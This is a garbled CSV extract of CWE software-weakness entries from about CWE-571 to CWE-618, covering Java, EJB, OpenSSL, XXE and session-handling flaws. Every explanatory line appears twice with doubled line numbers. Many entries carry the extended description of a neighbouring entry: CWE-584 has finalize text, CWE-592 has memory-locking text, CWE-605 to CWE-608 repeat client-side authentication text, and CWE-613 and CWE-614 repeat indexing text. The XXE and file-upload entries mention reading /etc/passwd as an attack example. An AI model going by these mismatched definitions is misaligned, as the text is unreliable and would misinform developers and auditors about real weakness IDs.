1579 The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().",,unclassified,
15801580 CWE-571,Expression is Always True (Type: Variant),"The software contains an expression that will always evaluate to true.
1581 The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().",,unclassified,
1581 The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().",,unclassified,
15821582 CWE-572,Call to Thread run() instead of start() (Type: Variant),"The program calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.
1583 In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.",,unclassified,
1583 In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.",,unclassified,
15841584 CWE-573,Improper Following of Specification by Caller (Type: Class),"The software does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.
1585 When leveraging external functionality, such as an API, it is important that the caller does so in accordance with the requirements of the external functionality or else unintended behaviors may result, possibly leaving the system vulnerable to any number of exploits.",,unclassified,
1585 When leveraging external functionality, such as an API, it is important that the caller does so in accordance with the requirements of the external functionality or else unintended behaviors may result, possibly leaving the system vulnerable to any number of exploits.",,unclassified,
15861586 CWE-574,EJB Bad Practices: Use of Synchronization Primitives (Type: Variant),"The program violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.
1587 The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: ""An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances."" The specification justifies this requirement in the following way: ""This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs.""",,unclassified,
1587 The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: ""An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances."" The specification justifies this requirement in the following way: ""This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs.""",,unclassified,
15881588 CWE-575,EJB Bad Practices: Use of AWT Swing (Type: Variant),"The program violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.
1589 The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: ""An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard."" The specification justifies this requirement in the following way: ""Most servers do not allow direct interaction between an application program and a keyboard/display attached to the server system.""",,unclassified,
1589 The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: ""An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard."" The specification justifies this requirement in the following way: ""Most servers do not allow direct interaction between an application program and a keyboard/display attached to the server system.""",,unclassified,
15901590 CWE-576,EJB Bad Practices: Use of Java I/O (Type: Variant),"The program violates the Enterprise JavaBeans (EJB) specification by using the java.io package.
1591 The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: ""An enterprise bean must not use the java.io package to attempt to access files and directories in the file system."" The specification justifies this requirement in the following way: ""The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data.""",,unclassified,
1591 The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: ""An enterprise bean must not use the java.io package to attempt to access files and directories in the file system."" The specification justifies this requirement in the following way: ""The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data.""",,unclassified,
15921592 CWE-577,EJB Bad Practices: Use of Sockets (Type: Variant),"The program violates the Enterprise JavaBeans (EJB) specification by using sockets.
1593 The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: ""An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast."" The specification justifies this requirement in the following way: ""The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients.""",,unclassified,
1593 The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: ""An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast."" The specification justifies this requirement in the following way: ""The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients.""",,unclassified,
15941594 CWE-578,EJB Bad Practices: Use of Class Loader (Type: Variant),"The program violates the Enterprise JavaBeans (EJB) specification by using the class loader.
1595 The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: ""The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams."" The specification justifies this requirement in the following way: ""These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment.""",,unclassified,
1595 The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: ""The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams."" The specification justifies this requirement in the following way: ""These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment.""",,unclassified,
15961596 CWE-579,J2EE Bad Practices: Non-serializable Object Stored in Session (Type: Variant),"The application stores a non-serializable object as an HttpSession attribute, which can hurt reliability.
1597 The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: ""The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams."" The specification justifies this requirement in the following way: ""These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment.""",,unclassified,
1597 The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: ""The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams."" The specification justifies this requirement in the following way: ""These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment.""",,unclassified,
15981598 CWE-58,Path Equivalence: Windows 8.3 Filename (Type: Variant),"The software contains a protection mechanism that restricts access to a long filename on a Windows operating system, but the software does not properly restrict access to the equivalent short ""8.3"" filename.
15991599 On later Windows operating systems, a file can have a ""long name"" and a short name that is compatible with older Windows file systems, with up to 8 characters in the filename and 3 characters for the extension. These ""8.3"" filenames, therefore, act as an alternate name for files with long names, so they are useful pathname equivalence manipulations.",,unclassified,"Writing Secure Code
1600 The Art of Software Security Assessment: Chapter 11, ""DOS 8.3 Filenames"", Page 673."
1600 The Art of Software Security Assessment: Chapter 11, ""DOS 8.3 Filenames"", Page 673."
16011601 CWE-580,clone() Method Without super.clone() (Type: Variant),"The software contains a clone() method that does not call super.clone() to obtain the new object.
1602 All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.",,unclassified,
1602 All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.",,unclassified,
16031603 CWE-581,Object Model Violation: Just One of Equals and Hashcode Defined (Type: Base),"The software does not maintain equal hashcodes for equal objects.
1604 Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if a.equals(b) == true then a.hashCode() == b.hashCode().",,unclassified,
1604 Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if a.equals(b) == true then a.hashCode() == b.hashCode().",,unclassified,
16051605 CWE-582,"Array Declared Public, Final, and Static (Type: Variant)","The program declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.
1606 Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.",,unclassified,
1606 Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.",,unclassified,
16071607 CWE-583,finalize() Method Declared Public (Type: Variant),"The program violates secure coding principles for mobile code by declaring a finalize() method public.
1608 A program should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke one of your finalize() methods because it is declared with public access.",,unclassified,
1608 A program should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke one of your finalize() methods because it is declared with public access.",,unclassified,
16091609 CWE-584,Return Inside Finally Block (Type: Base),"The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.
1610 A program should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke one of your finalize() methods because it is declared with public access.",,unclassified,
1610 A program should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke one of your finalize() methods because it is declared with public access.",,unclassified,
16111611 CWE-585,Empty Synchronized Block (Type: Variant),"The software contains an empty synchronized block.
1612 An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.",,unclassified,Intrinsic Locks and Synchronization (in Java): http://java.sun.com/docs/books/tutorial/essential/concurrency/locksync.html
1612 An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.",,unclassified,Intrinsic Locks and Synchronization (in Java): http://java.sun.com/docs/books/tutorial/essential/concurrency/locksync.html
16131613 CWE-586,Explicit Call to Finalize() (Type: Variant),"The software makes an explicit call to the finalize() method from outside the finalizer.
1614 While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.",,unclassified,
1614 While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.",,unclassified,
16151615 CWE-587,Assignment of a Fixed Address to a Pointer (Type: Base),"The software sets a pointer to a specific address other than NULL or 0.
1616 Using a fixed address is not portable because that address will probably not be valid in all environments or platforms.",,unclassified,
1616 Using a fixed address is not portable because that address will probably not be valid in all environments or platforms.",,unclassified,
16171617 CWE-588,Attempt to Access Child of a Non-structure Pointer (Type: Variant),"Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.
1618 Using a fixed address is not portable because that address will probably not be valid in all environments or platforms.",,unclassified,
1618 Using a fixed address is not portable because that address will probably not be valid in all environments or platforms.",,unclassified,
16191619 CWE-589,Call to Non-ubiquitous API (Type: Variant),"The software uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.
1620 Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.",,unclassified,
1620 Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.",,unclassified,
16211621 CWE-590,Free of Memory not on the Heap (Type: Variant),"The application calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().
1622 When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.",,unclassified,Valgrind: http://valgrind.org/
1622 When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.",,unclassified,Valgrind: http://valgrind.org/
16231623 CWE-591,Sensitive Data Storage in Improperly Locked Memory (Type: Variant),"The application stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.
1624 On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.",,unclassified,
1624 On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.",,unclassified,
16251625 CWE-592,Authentication Bypass Issues (Type: Class),"The software does not properly perform authentication, allowing it to be bypassed through various methods.
1626 On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.",,unclassified,"The Art of Software Security Assessment: Chapter 2, ""Untrustworthy Credentials"", Page 37."
1626 On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.",,unclassified,"The Art of Software Security Assessment: Chapter 2, ""Untrustworthy Credentials"", Page 37."
16271627 CWE-593,Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (Type: Variant),"The software modifies the SSL context after connection creation has begun.
1628 If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.",,unclassified,
1628 If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.",,unclassified,
16291629 CWE-594,J2EE Framework: Saving Unserializable Objects to Disk (Type: Variant),"When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.
1630 If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.",,unclassified,
1630 If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.",,unclassified,
16311631 CWE-595,Comparison of Object References Instead of Object Contents (Type: Base),"The program compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.
1632 If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.",,unclassified,
1632 If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.",,unclassified,
16331633 CWE-596,Incorrect Semantic Object Comparison (Type: Base),"The software does not correctly compare two objects based on their conceptual content.
1634 If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.",,unclassified,
1634 If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.",,unclassified,
16351635 CWE-597,Use of Wrong Operator in String Comparison (Type: Variant),"The product uses the wrong operator when comparing a string, such as using ""=="" when the equals() method should be used instead.
1636 In Java, using == or != to compare two strings for equality actually compares two objects for equality, not their values. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, it could be leveraged to affect program security.",,unclassified,"The Art of Software Security Assessment: Chapter 6, ""Typos"", Page 289."
1636 In Java, using == or != to compare two strings for equality actually compares two objects for equality, not their values. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, it could be leveraged to affect program security.",,unclassified,"The Art of Software Security Assessment: Chapter 6, ""Typos"", Page 289."
16371637 CWE-598,Information Exposure Through Query Strings in GET Request (Type: Variant),"The web application uses the GET method to process requests that contain sensitive information, which can expose that information through the browser's history, Referers, web logs, and other sources.
1638 In Java, using == or != to compare two strings for equality actually compares two objects for equality, not their values. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, it could be leveraged to affect program security.",,unclassified,
1638 In Java, using == or != to compare two strings for equality actually compares two objects for equality, not their values. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, it could be leveraged to affect program security.",,unclassified,
16391639 CWE-599,Missing Validation of OpenSSL Certificate (Type: Variant),"The software uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.
1640 This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.",,unclassified,
1640 This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.",,unclassified,
16411641 CWE-6,J2EE Misconfiguration: Insufficient Session-ID Length (Type: Variant),"The J2EE application is configured to use an insufficient session ID length.
1642 If an attacker can guess or steal a session ID, then he/she may be able to take over the user's session (called session hijacking). The number of possible session IDs increases with increased session ID length, making it more difficult to guess or steal a session ID.",,unclassified,No description: http://www.securiteam.com/securityreviews/5TP0F0UEVQ.html
1642 If an attacker can guess or steal a session ID, then he/she may be able to take over the user's session (called session hijacking). The number of possible session IDs increases with increased session ID length, making it more difficult to guess or steal a session ID.",,unclassified,No description: http://www.securiteam.com/securityreviews/5TP0F0UEVQ.html
16431643 CWE-600,Uncaught Exception in Servlet (Type: Base),"The Servlet does not catch all exceptions, which may reveal sensitive debugging information.
1644 When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.",,unclassified,
1644 When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.",,unclassified,
16451645 CWE-603,Use of Client-Side Authentication (Type: Base),"A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.
1646 Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.",,unclassified,"The Art of Software Security Assessment: Chapter 2, ""Untrustworthy Credentials"", Page 37."
1646 Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.",,unclassified,"The Art of Software Security Assessment: Chapter 2, ""Untrustworthy Credentials"", Page 37."
16471647 CWE-605,Multiple Binds to the Same Port (Type: Base),"When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.
1648 Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.",,unclassified,
1648 Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.",,unclassified,
16491649 CWE-606,Unchecked Input for Loop Condition (Type: Base),"The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service because of excessive looping.
1650 Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.",,unclassified,"The Art of Software Security Assessment: Chapter 7, ""Looping Constructs"", Page 327."
1650 Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.",,unclassified,"The Art of Software Security Assessment: Chapter 7, ""Looping Constructs"", Page 327."
16511651 CWE-607,Public Static Final Field References Mutable Object (Type: Variant),"A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.
1652 Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.",,unclassified,
1652 Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.",,unclassified,
16531653 CWE-608,Struts: Non-private Field in ActionForm Class (Type: Variant),"An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.
1654 Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.",,unclassified,
1654 Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.",,unclassified,
16551655 CWE-609,Double-Checked Locking (Type: Base),"The program uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.
16561656 Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.",,unclassified,"The ""Double-Checked Locking is Broken"" Declaration: http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html
16571657 JSR 133 (Java Memory Model) FAQ: http://www.cs.umd.edu/~pugh/java/memoryModel/jsr-133-faq.html#dcl
1658 The Art of Software Security Assessment: Chapter 13, ""Threading Vulnerabilities"", Page 815."
1658 The Art of Software Security Assessment: Chapter 13, ""Threading Vulnerabilities"", Page 815."
16591659 CWE-610,Externally Controlled Reference to a Resource in Another Sphere (Type: Class),"The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.
1660 ",,unclassified,
1660 ",,unclassified,
16611661 CWE-611,Improper Restriction of XML External Entity Reference (XXE) (Type: Variant),"The software processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.
16621662 XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.
16631663 By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as ""file:///c:/winnt/win.ini"" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.
16661666 XXE (Xml eXternal Entity) Attack: http://www.securiteam.com/securitynews/6D0100A5PU.html
16671667 XML External Entities (XXE) Attack: http://projects.webappsec.org/w/page/13247003/XML%20External%20Entities
16681668 XML Denial of Service Attacks and Defenses: http://msdn.microsoft.com/en-us/magazine/ee335713.aspx
1669 Preventing XXE in PHP: http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html"
1669 Preventing XXE in PHP: http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html"
16701670 CWE-612,Information Exposure Through Indexing of Private Data (Type: Variant),"The product performs an indexing routine against private documents, but does not sufficiently verify that the actors who can access the index also have the privileges to access the private documents.
1671 When an indexing routine is applied against a group of private documents, and that index's results are available to outsiders who do not have access to those documents, then outsiders might be able to obtain sensitive information by conducting targeted searches. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.",,unclassified,
1671 When an indexing routine is applied against a group of private documents, and that index's results are available to outsiders who do not have access to those documents, then outsiders might be able to obtain sensitive information by conducting targeted searches. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.",,unclassified,
16721672 CWE-613,Insufficient Session Expiration (Type: Base),"According to WASC, ""Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.""
1673 When an indexing routine is applied against a group of private documents, and that index's results are available to outsiders who do not have access to those documents, then outsiders might be able to obtain sensitive information by conducting targeted searches. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.",,unclassified,
1673 When an indexing routine is applied against a group of private documents, and that index's results are available to outsiders who do not have access to those documents, then outsiders might be able to obtain sensitive information by conducting targeted searches. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.",,unclassified,
16741674 CWE-614,Sensitive Cookie in HTTPS Session Without Secure Attribute (Type: Variant),"The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session.
1675 When an indexing routine is applied against a group of private documents, and that index's results are available to outsiders who do not have access to those documents, then outsiders might be able to obtain sensitive information by conducting targeted searches. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.",,unclassified,
1675 When an indexing routine is applied against a group of private documents, and that index's results are available to outsiders who do not have access to those documents, then outsiders might be able to obtain sensitive information by conducting targeted searches. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.",,unclassified,
16761676 CWE-615,Information Exposure Through Comments (Type: Variant),"While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.
1677 An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.",,unclassified,
1677 An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.",,unclassified,
16781678 CWE-616,Incomplete Identification of Uploaded File Variables (PHP) (Type: Variant),"The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.
1679 These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as ""/etc/passwd"".",,unclassified,"A Study in Scarlet - section 5, ""File Upload"""
1679 These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as ""/etc/passwd"".",,unclassified,"A Study in Scarlet - section 5, ""File Upload"""
16801680 CWE-617,Reachable Assertion (Type: Variant),"The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.
1681 For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.",,unclassified,
1681 For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.",,unclassified,
16821682 CWE-618,Exposed Unsafe ActiveX Method (Type: Base),"An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).
16831683 ActiveX controls can exercise far greater control over the operating system than typical Java or javascript. Exposed methods can be subject to various vulnerabilities, depending on the implemented behaviors of those methods, and whether input validation is performed on the provided arguments. If there is no integrity checking or origin validation, this method could be invoked by attackers.",,unclassified,"No description: http://msdn.microsoft.com/workshop/components/activex/safety.asp
16841684 No description: http://msdn.microsoft.com/workshop/components/activex/security.asp
1685 The Art of Software Security Assessment: Chapter 12, ""ActiveX Security"", Page 749."
1685 The Art of Software Security Assessment: Chapter 12, ""ActiveX Security"", Page 749."
